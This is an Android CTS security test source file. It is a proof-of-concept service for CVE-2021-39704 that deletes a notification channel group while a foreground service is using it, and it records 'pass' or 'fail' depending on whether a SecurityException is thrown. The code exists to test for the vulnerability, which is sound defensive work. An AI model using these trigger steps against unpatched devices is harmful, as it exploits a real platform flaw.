| /* |
| * Copyright (C) 2022 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| package android.security.cts.CVE_2021_39704; |
| |
| import android.app.Notification; |
| import android.app.NotificationChannel; |
| import android.app.NotificationChannelGroup; |
| import android.app.NotificationManager; |
| import android.app.Service; |
| import android.content.Context; |
| import android.content.Intent; |
| import android.content.res.Resources; |
| import android.content.SharedPreferences; |
| import android.graphics.Bitmap; |
| import android.graphics.Canvas; |
| import android.graphics.Color; |
| import android.graphics.drawable.Icon; |
| import android.os.IBinder; |
| |
| //PocService is needed to build the notification when the service starts. |
| public class PocService extends Service { |
| |
| @Override |
| public IBinder onBind(Intent intent) { |
| return null; |
| } |
| |
| @Override |
| public void onCreate() { |
| try { |
| exploitBug(); |
| super.onCreate(); |
| } catch (Exception e) { |
| setResult(getResources().getInteger(R.integer.assumptionFailure), |
| e.getMessage()); |
| } |
| } |
| |
| void exploitBug() { |
| try { |
| final NotificationManager notificationManager = getSystemService( |
| NotificationManager.class); |
| final String id = getString(R.string.channel); |
| final String groupId = getString(R.string.groupId); |
| notificationManager.createNotificationChannelGroup( |
| new NotificationChannelGroup(groupId, |
| getString(R.string.group))); |
| NotificationChannel notificationChannel = new NotificationChannel( |
| id, id, NotificationManager.IMPORTANCE_HIGH); |
| notificationChannel.setGroup(groupId); |
| notificationManager.createNotificationChannel(notificationChannel); |
| Notification notification = new Notification.Builder(this, id) |
| .setSmallIcon(createNotificationIcon()).build(); |
| startForeground(1, notification); |
| setResult(getResources().getInteger(R.integer.fail), |
| getString(R.string.vulnerableMessage)); |
| notificationManager.deleteNotificationChannelGroup(groupId); |
| setResult(getResources().getInteger(R.integer.fail), |
| getString(R.string.vulnerableMessage)); |
| } catch (SecurityException e) { |
| setResult(getResources().getInteger(R.integer.pass), |
| getString(R.string.passMessage)); |
| } |
| } |
| |
| private void setResult(int result, String message) { |
| try { |
| SharedPreferences sh = getSharedPreferences( |
| getString(R.string.sharedPreference), Context.MODE_PRIVATE); |
| SharedPreferences.Editor edit = sh.edit(); |
| edit.putInt(getString(R.string.resultKey), result); |
| edit.putString(getString(R.string.messageKey), message); |
| edit.commit(); |
| } catch (Exception e) { |
| // ignore exception |
| } |
| } |
| |
| Icon createNotificationIcon() { |
| Resources resources = getResources(); |
| Bitmap testBitmap = Bitmap.createBitmap( |
| resources.getInteger(R.integer.width), |
| resources.getInteger(R.integer.height), |
| Bitmap.Config.ARGB_8888); |
| final Canvas canvas = new Canvas(testBitmap); |
| canvas.drawColor(Color.BLUE); |
| return Icon.createWithBitmap(testBitmap); |
| } |
| } |